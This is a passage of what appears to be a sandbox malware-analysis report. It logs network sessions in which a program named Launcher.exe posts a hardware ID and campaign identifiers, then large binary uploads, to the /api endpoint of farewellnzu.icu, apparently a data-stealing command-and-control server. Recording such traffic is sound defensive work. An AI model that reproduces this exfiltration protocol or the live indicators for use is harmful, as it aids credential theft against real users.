yGMdjvY+9DB3daBBirWGCU8L7UqA8B1B8Ox+t2Y7QimZXgCC1lvRYUO5mBXOoJ7lPwetfrDVNTDMoVq3dyYvYIBbJJKLXpRR07H0OYu48/VyB6lXtaAdLOC1brdnIjcxtWYYiupj5X1Ttbg13oyehT8riVaQ8Sg98YliylZbI+21WhySs1+IaRKtoDDL2Y7JJzu5WrjNGRSAwU6Pdy4TBbl6bJbWe/ldU7GcMeK0k8wuB6kHtaAdsJTJS6sqAkY
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 4a 4c 79 5a 37 31 46 62 35 47 41 4a 65 36 6f 72 73 45 58 46 36 56 36 6f 4d 30 74 45 4e 53 46 51 72 74 7a 41 67 63 55 67 46 73 6b 6b 6f 74 65 6c 46 48 7a 77 62 41 78 2f 37 6a 7a 39 58 49 48 71 56 65 31 6f 42 30 4d 38 4a 31 2b 67 30 38 71 4e 7a 47 70 64 69 53 69 35 6d 50 6c 53 57 65 52 76 43 33 75 76 4a 62 5a 50 79 75 74 55 72 6a 5a 42 44 33 78 69 57 4c 4b 56 6c 73 6a 71 65 31 57 46 4a 50 71 49 73 30 30 64 37 47 4e 41 4b 75 34 6f 76 30 48 47 37 56 53 75 4f 45 4a 4c 4f 43 64 66 6f 73 66 47 69 4d 31 79 53 6f 6b 71 76 35 76 2b 56 46 6e 74 5a 67 5a 78 71 6d 50 39 42 63 62 31 47 66 56 77 61 6b 4d 31 43 31 69 78 6c 64 48 47 30 79 42 66 68 57 50 69 31 2f 78 66 56 2b 52 69 41 33 53 74 4b 4c 5a 50 77 4f 70 52 6f 43 4a 45 51 44 30 6d 58 36 58 54 79 49 6e 46 5a 6c 2b Data Ascii: JLyZ71Fb5GAJe6orsEXF6V6oM0tENSFQrtzAgcUgFskkotelFHzwbAx/7jz9XIHqVe1oB0M8J1+g08qNzGpdiSi5mPlSWeRvC3uvJbZPyutUrjZBD3xiWLKVlsjqe1WFJPqIs00d7GNAKu4ov0HG7VSuOEJLOCdfosfGiM1ySokqv5v+VFntZgZxqmP9Bcb1GfVwakM1C1ixldHG0yBfhWPi1/xfV+RiA3StKLZPwOpRoCJEQD0mX6XTyInFZl+
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 66 34 54 59 39 56 49 46 6e 69 70 4d 37 52 53 7a 71 30 58 37 54 38 48 46 77 74 69 56 71 33 4f 33 35 37 48 63 46 2f 4a 48 50 54 58 35 52 51 46 71 31 6f 44 66 4b 41 6b 70 56 53 4d 79 6b 2b 6e 4e 31 64 49 4a 53 30 66 35 4a 58 49 79 4a 49 7a 46 73 6b 6e 71 39 65 6c 42 41 2b 77 4f 6c 4d 6c 2f 6e 47 73 43 39 69 74 54 2b 31 6f 46 51 46 79 4d 42 2f 79 6c 59 6d 4c 32 48 4a 65 69 6a 57 35 30 4d 4e 71 65 76 46 69 42 6d 57 2f 48 59 31 43 32 2b 42 66 75 69 45 4c 57 6a 45 73 55 61 33 44 6a 73 61 4b 62 78 6a 52 47 76 72 66 76 57 73 54 71 33 64 41 4b 75 34 57 73 45 76 50 36 6b 2b 38 66 57 42 56 50 79 52 49 75 35 57 41 79 4d 77 67 41 4e 6c 74 2b 70 50 73 46 41 57 37 50 56 73 6e 2f 58 54 6a 46 39 36 6a 51 4f 30 6d 42 78 64 67 62 42 2b 34 6c 5a 62 49 6a 57 4e 4b 6d 79 57 35 Data Ascii: f4TY9VIFnipM7RSzq0X7T8HFwtiVq3O357HcF/JHPTX5RQFq1oDfKAkpVSMyk+nN1dIJS0f5JXIyJIzFsknq9elBA+wOlMl/nGsC9itT+1oFQFyMB/ylYmL2HJeijW50MNqevFiBmW/HY1C2+BfuiELWjEsUa3DjsaKbxjRGvrfvWsTq3dAKu4WsEvP6k+8fWBVPyRIu5WAyMwgANlt+pPsFAW7PVsn/XTjF96jQO0mBxdgbB+4lZbIjWNKmyW5
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 33 7a 4c 31 67 79 6d 79 43 39 53 38 62 37 53 4f 41 58 53 55 67 7a 4e 45 2b 39 32 6f 37 47 69 6d 59 59 30 58 48 30 31 2f 6c 46 48 62 4d 2f 55 69 6e 37 63 4f 51 56 6b 2f 49 58 74 48 42 52 44 32 70 77 45 65 72 48 6a 74 43 4b 4a 31 75 62 4d 62 79 55 36 31 63 61 31 56 45 6e 66 4b 6b 69 70 56 58 57 34 68 61 44 42 6d 5a 78 44 44 64 63 70 4e 76 4a 6e 74 73 67 46 73 6b 73 2b 73 2f 45 46 42 57 72 55 45 34 79 74 6d 50 72 42 66 54 75 56 36 4d 33 55 56 35 2f 42 56 47 74 31 4e 69 59 33 57 38 58 70 78 57 62 31 37 4d 55 57 36 73 33 55 6a 7a 75 4a 36 49 46 6d 62 30 4c 39 6d 55 55 47 47 4a 77 51 4f 54 4d 6a 70 36 4b 4f 41 72 48 59 36 6a 58 70 52 51 61 36 48 30 53 64 4b 30 31 73 41 4c 2f 30 33 36 6a 4e 30 5a 5a 49 69 39 54 69 39 62 66 67 76 52 65 54 59 6f 74 74 4a 44 72 52 Data Ascii: 3zL1gymyC9S8b7SOAXSUgzNE+92o7GimYY0XH01/lFHbM/Uin7cOQVk/IXtHBRD2pwEerHjtCKJ1ubMbyU61ca1VEnfKkipVXW4haDBmZxDDdcpNvJntsgFsks+s/EFBWrUE4ytmPrBfTuV6M3UV5/BVGt1NiY3W8XpxWb17MUW6s3UjzuJ6IFmb0L9mUUGGJwQOTMjp6KOArHY6jXpRQa6H0SdK01sAL/036jN0ZZIi9Ti9bfgvReTYottJDrR
2024-11-23 14:12:58 UTC	1369	IN	Data Raw: 43 51 36 4d 6e 70 56 44 43 2f 56 36 54 44 6d 70 64 4e 54 4a 63 36 50 6e 4a 68 63 5a 65 5a 72 34 79 76 59 65 2f 63 6c 37 39 62 45 41 38 37 6a 76 7a 48 59 48 41 53 36 6f 67 52 41 30 65 4a 56 4b 6d 6c 64 48 47 30 79 42 4f 79 58 76 70 32 62 31 47 48 62 4d 76 52 33 47 38 4d 62 56 47 31 2b 34 65 6b 77 35 71 58 54 55 79 58 4f 6a 6b 77 34 7a 63 64 56 75 5a 4a 49 53 70 30 45 5a 61 2b 32 78 43 56 35 52 68 67 6c 50 43 37 56 65 71 63 41 6b 50 4b 6d 49 48 36 76 6a 63 6a 39 70 6a 47 71 77 5a 2b 4b 62 72 56 31 33 6c 61 45 42 74 34 44 72 7a 55 34 47 31 43 75 4e 77 56 51 39 71 59 68 69 6b 32 4d 2b 4c 78 47 4e 4b 6d 79 57 35 67 66 34 54 59 39 56 41 43 33 4f 2b 4c 71 4a 49 78 66 74 6e 6b 78 64 42 53 6a 55 63 59 5a 33 45 79 5a 69 49 52 6c 75 66 49 50 72 5a 76 55 77 64 73 79 Data Ascii: CQ6MnpVDC/V6TDmpdNTJc6PnJhcZeZr4yvYe/cl79bEA87jvzHYHAS6ogRA0eJVKmldHG0yBOyXvp2b1GHbMvR3G8MbVG1+4ekw5qXTUyXOjkw4zcdVuZJISp0EZa+2xCV5RhglPC7VeqcAkPKmIH6vjcj9pjGqwZ+KbrV13laEBt4DrzU4G1CuNwVQ9qYhik2M+LxGNKmyW5gf4TY9VAC3O+LqJIxftnkxdBSjUcYZ3EyZiIRlufIPrZvUwdsy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:00 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KH182FAKYTKNBSET0JQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12872 Host: farewellnzu.icu
2024-11-23 14:13:00 UTC	12872	OUT	Data Raw: 2d 2d 4b 48 31 38 32 46 41 4b 59 54 4b 4e 42 53 45 54 30 4a 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 4b 48 31 38 32 46 41 4b 59 54 4b 4e 42 53 45 54 30 4a 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 48 31 38 32 46 41 4b 59 54 4b 4e 42 53 45 54 30 4a 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 7a 6e Data Ascii: --KH182FAKYTKNBSET0JQContent-Disposition: form-data; name="hwid"AE9F2BF43CD76C19C8852029FBE145BA--KH182FAKYTKNBSET0JQContent-Disposition: form-data; name="pid"2--KH182FAKYTKNBSET0JQContent-Disposition: form-data; name="lid"LPnhqo--zn
2024-11-23 14:13:01 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tgn9u07egqr4euek8tao1gfkk3; expires=Wed, 19-Mar-2025 07:59:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBOOewg06FfXMGBgBlh6QDRbl2s2pi2LXfgIJFueEC53Rm5%2FG49lpcGev7Q0OkdK%2BlehHQdu%2B5xr1V3%2BnBcCWSThRdU18Eb%2FiSy7T0kvzxkzkxrDyAV2ApI%2F6kcuicTCOjE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c1e6ea011906-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13812&delivery_rate=1909744&cwnd=252&unsent_bytes=0&cid=08f08588d487c303&ts=790&x=0"
2024-11-23 14:13:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:13:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:02 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ODT8QICBOD0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15070 Host: farewellnzu.icu
2024-11-23 14:13:02 UTC	15070	OUT	Data Raw: 2d 2d 4f 44 54 38 51 49 43 42 4f 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 4f 44 54 38 51 49 43 42 4f 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 44 54 38 51 49 43 42 4f 44 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 0d 0a 2d 2d 4f 44 54 38 51 49 43 42 4f 44 Data Ascii: --ODT8QICBOD0Content-Disposition: form-data; name="hwid"AE9F2BF43CD76C19C8852029FBE145BA--ODT8QICBOD0Content-Disposition: form-data; name="pid"2--ODT8QICBOD0Content-Disposition: form-data; name="lid"LPnhqo--znnuaosvghun--ODT8QICBOD
2024-11-23 14:13:03 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fommcmef4op89immcmh14mm0b; expires=Wed, 19-Mar-2025 07:59:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ymABdLAvmMoIV2GE8zACV5wawj0GBbptaScLQ%2Fq5RGYAOxTh8wUfGjmuxT%2BVRsRzhKCcMZc%2BQP%2FlfwNyylQVP88WXhT6culesJBgagFdd%2BAe7UZIoNSCJtx9ojxdVSi0HwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c1f4aaf77d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&sent=7&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16002&delivery_rate=1593016&cwnd=228&unsent_bytes=0&cid=2f3eeab2479c9782&ts=788&x=0"
2024-11-23 14:13:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:13:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:04 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I7NI61LWEAD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19928 Host: farewellnzu.icu
2024-11-23 14:13:04 UTC	15331	OUT	Data Raw: 2d 2d 49 37 4e 49 36 31 4c 57 45 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 49 37 4e 49 36 31 4c 57 45 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 37 4e 49 36 31 4c 57 45 41 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 0d 0a 2d 2d 49 37 4e 49 36 31 4c 57 45 41 Data Ascii: --I7NI61LWEADContent-Disposition: form-data; name="hwid"AE9F2BF43CD76C19C8852029FBE145BA--I7NI61LWEADContent-Disposition: form-data; name="pid"3--I7NI61LWEADContent-Disposition: form-data; name="lid"LPnhqo--znnuaosvghun--I7NI61LWEA
2024-11-23 14:13:04 UTC	4597	OUT	Data Raw: c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-23 14:13:05 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ppni174au0ufsbj0mitr3ghshv; expires=Wed, 19-Mar-2025 07:59:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yVzmNUD44CYLcUGdtMx%2FGWtXr%2F3ra7adL6UdCKkYRvcXBxMJ4bOBPrIjFFxumE%2BQ0uu8PBvrCueML0ukoj5lTFRg672RY8Uwly1Os7AyoC%2BgpFCWDcYGL1mbgZ3%2B7x4vLwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c2029e6f8cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2836&recv_bytes=20882&delivery_rate=1430671&cwnd=246&unsent_bytes=0&cid=2194ce320764cbeb&ts=931&x=0"
2024-11-23 14:13:05 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49705	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:07 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WP6G358XV8B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1183 Host: farewellnzu.icu
2024-11-23 14:13:07 UTC	1183	OUT	Data Raw: 2d 2d 57 50 36 47 33 35 38 58 56 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 57 50 36 47 33 35 38 58 56 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 50 36 47 33 35 38 58 56 38 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 0d 0a 2d 2d 57 50 36 47 33 35 38 58 56 38 Data Ascii: --WP6G358XV8BContent-Disposition: form-data; name="hwid"AE9F2BF43CD76C19C8852029FBE145BA--WP6G358XV8BContent-Disposition: form-data; name="pid"1--WP6G358XV8BContent-Disposition: form-data; name="lid"LPnhqo--znnuaosvghun--WP6G358XV8
2024-11-23 14:13:07 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fpng82ojob308m05epdahddng7; expires=Wed, 19-Mar-2025 07:59:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4OWQDE0qNz3QMxqLGXkALAafbYazdJr8ItUcRNLqHuI2BHQjnG86E4gnXS95pezF8cQfK08otK6T0zPOT9R3e%2FAvjmrIpyjAkRmnE60nR3jkXJRPa6AtdCiShqnsB43QYhk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71c211a8104291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2580&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2092&delivery_rate=1113229&cwnd=207&unsent_bytes=0&cid=503b6472a2783ae9&ts=710&x=0"
2024-11-23 14:13:07 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:13:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49711	172.67.198.61	443	5688	C:\Users\user\Desktop\Launcher.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:13:09 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K093XR63GLCD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571912 Host: farewellnzu.icu
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: 2d 2d 4b 30 39 33 58 52 36 33 47 4c 43 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 39 46 32 42 46 34 33 43 44 37 36 43 31 39 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 0d 0a 2d 2d 4b 30 39 33 58 52 36 33 47 4c 43 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 30 39 33 58 52 36 33 47 4c 43 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 7a 6e 6e 75 61 6f 73 76 67 68 75 6e 0d 0a 2d 2d 4b 30 39 33 58 52 36 Data Ascii: --K093XR63GLCDContent-Disposition: form-data; name="hwid"AE9F2BF43CD76C19C8852029FBE145BA--K093XR63GLCDContent-Disposition: form-data; name="pid"1--K093XR63GLCDContent-Disposition: form-data; name="lid"LPnhqo--znnuaosvghun--K093XR6
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: ce d7 2b 36 08 d2 1c a2 3b 5a 91 6a 2b dc 17 ab c1 e5 98 6b a8 77 2e 3f ba e3 3b fd a7 a4 cb 6b 05 8d 48 1f d8 d3 03 51 bf 6d 9c 8e 55 1e cc 4e 48 50 d9 5b cf 5a d4 0b 3b 1d f9 70 f6 50 9b 26 84 9e f7 79 a7 02 95 37 79 c5 42 2e 28 d1 45 6a 09 82 ca 66 73 95 0a 00 5f 71 b3 c9 7a f1 d1 e1 49 75 1e 66 96 b9 f4 4b 15 7f 28 bd 6c 6f 78 d6 73 d1 54 22 53 10 41 dd 70 11 fe f5 32 cc 11 2c 57 df 3c 37 fc b3 83 95 f1 8a 3e bb ca 0b 76 93 00 d5 33 12 2c f3 2d 66 61 2d 70 5b d6 f3 a9 ab e9 f1 37 65 64 ee f5 a6 b5 b3 d6 10 82 55 d7 eb 07 5f ae d8 23 a8 ca 16 ff df c3 98 bd 58 18 19 8c 21 6b b3 a7 01 c4 bd 6a 36 1f 76 05 96 88 36 b9 79 15 33 3c 1d c7 aa 30 57 97 a5 da cf 0c e5 dd c2 e7 33 b4 f3 a6 ba 2d 40 3e 0e d3 8b 84 7b 7f 3b f5 cd 42 d4 d7 63 01 aa 99 b2 d1 fb 32 Data Ascii: +6;Zj+kw.?;kHQmUNHP[Z;pP&y7yB.(Ejfs_qzIufK(loxsT"SAp2,W<7>v3,-fa-p[7edU_#X!kj6v6y3<0W3-@>{;Bc2
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: 2f 16 d8 00 7b 80 e5 f1 f7 96 71 73 9a 16 d2 33 be 33 fe 53 cd 2c 28 e2 a9 63 f3 03 c0 3d f7 93 d5 f5 93 d7 40 1f 0d ff 79 cc 5b 79 4c 34 3d 46 73 c7 f5 57 5f bd 2e fa 51 af b2 b3 13 c6 4a 5d 66 88 e2 78 46 fa f1 da c9 63 92 48 38 88 6f ec ca e5 63 ff 3c 0b 7d 9b 9e eb dc 64 7f 11 65 29 15 02 ee 53 ee 2f 3f 96 ce 72 7a a4 87 e3 13 53 3c c4 dd 2d 06 97 d0 0c 43 09 50 b2 db 64 4f e0 19 3c 3e e1 c2 d2 d0 3f f1 a2 a7 8a 22 f7 17 24 79 c0 70 a5 ee 8b f2 15 c1 1f 03 fd b9 f5 fa 43 3f ac 05 e9 c5 91 d2 c2 c2 b3 95 ae a1 26 bc a2 ef d1 84 a7 4d 70 43 f1 58 33 4e 69 dc 1e 04 7e d0 e0 4b 78 47 88 08 7b 61 a8 a4 c0 30 eb 8c f2 a2 ea b6 54 b0 72 8e ff f9 b4 8b b8 36 d4 63 7d 62 f6 de bd 3d 2d bf 79 a4 d7 30 0f df 5e bb ee ee 72 c3 e2 eb 28 e9 7b b5 db 0b 4b c3 85 fb Data Ascii: /{qs33S,(c=@y[yL4=FsW_.QJ]fxFcH8oc<}de)S/?rzS<-CPdO<>?"$ypC?&MpCX3Ni~KxG{a0Tr6c}b=-y0^r({K
2024-11-23 14:13:09 UTC	15331	OUT	Data Raw: 57 92 aa c6 b8 8a fd a5 6c ee 64 59 7f 90 8b 66 67 e2 e7 09 61 ae 5b 95 fd c5 c5 23 5b ae 29 e2 29 e2 af d4 66 9f 14 33 cb 95 ff dd 88 f4 e3 ca 73 72 68 0c eb 5f 1d b2 df 0c 3a c6 5b a8 b7 3c 50 a8 99 c3 58 fb fa dd 2a f6 10 9d 87 9a 8b 3e e5 e0 b8 ea 14 7e 68 63 c0 fd be e2 3d cd 45 27 f9 e4 a8 4f 1a 2f 5b 7e 62 6f de da 74 52 ea f9 d4 fb c6 48 9d 1e dc 97 01 c8 75 f0 5a 29 6a 72 eb e5 c6 bb 31 2d 34 cb 60 b6 93 33 70 4b 67 5d 40 22 2e ef 47 06 b7 2e fa 93 a2 f1 23 b8 be dd df 41 14 d4 fc 0c ee 3b fd 57 1d 87 3f c3 92 de 9b 2d 52 28 71 89 1d be d6 ae 69 af 01 8c 60 93 c3 c2 71 4f c2 0f 94 2d de a2 df e0 03 d0 9c c4 01 6b 62 2a 67 8f 32 e9 e4 dc a2 ea a6 41 35 83 79 61 44 26 e6 45 52 68 d4 a8 10 45 e8 44 6d cb 8a 81 fc 83 47 31 8d c1 35 c5 59 7f e9 ed c7 Data Ascii: 